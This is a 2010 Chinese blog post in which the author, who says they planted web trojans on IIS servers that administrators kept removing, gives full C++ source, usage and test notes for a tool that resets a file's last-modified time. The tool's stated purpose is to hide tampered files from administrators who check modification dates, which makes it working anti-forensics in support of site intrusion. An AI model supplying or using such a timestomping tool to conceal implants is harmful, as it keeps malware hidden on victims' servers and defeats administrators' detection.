作者在 2010-06-28 06:01:52 发布以下内容
一次偶然挂马。用了好多IIS挂马,ISAPI,文件重定向挂马方法,不久后被管理员KILL。无奈只能用原始方法,因此,修改文件修改时间是必要的,管理员也因此用这个查。虽然海洋ASP木马上有这个功能,但经过测试,有的时候不行(原因不明,估计是权限问题),所以自己尝试写了这么个软件,代码如下:
#include "stdafx.h"
#include "windows.h" #include "iostream.h" #include "stdlib.h" int main(int argc, char* argv[]) { if (argc == 8) { FILETIME ft,ft1; SYSTEMTIME systime; int gxm,gxm1,gxm2,gxm3,gxm4,gxm5; gxm=atoi(argv[7]); gxm=gxm - 1; gxm1=atoi(argv[2]); gxm2=atoi(argv[3]); gxm3=atoi(argv[4]); gxm4=atoi(argv[5]); gxm5=atoi(argv[6]); systime.wYear = gxm1; systime.wMonth = gxm2; systime.wDay = gxm3; systime.wHour = gxm4; systime.wMinute = gxm5; systime.wSecond = gxm; //想要改变秒,必须要少一位 SystemTimeToFileTime(&systime, &ft); LocalFileTimeToFileTime(&ft,&ft1); //把时间转换UTC HANDLE hFile; hFile = CreateFile(argv[1], GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ| FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile== INVALID_HANDLE_VALUE) { printf("open't the file[!]...................................error\n"); } SetFileTime(hFile, (LPFILETIME) NULL, (LPFILETIME) NULL, &ft1); CloseHandle(hFile); printf("changed[!]...................................OK\n"); return 0; } printf("GXM修改文件最后修改日期工具\n"); cout << "文件使用方法为:"<<endl; cout << "\t" << argv[0] << " path year month Day Hour Minute Second"<<endl; return 0; } |
xp sp2 vc++6.0环境下编译成功,2k 2003 xp测试软件效果成功。需要运行程序权限:本菜在administrator下运行的,其他的没有测试。估计guest权限不行。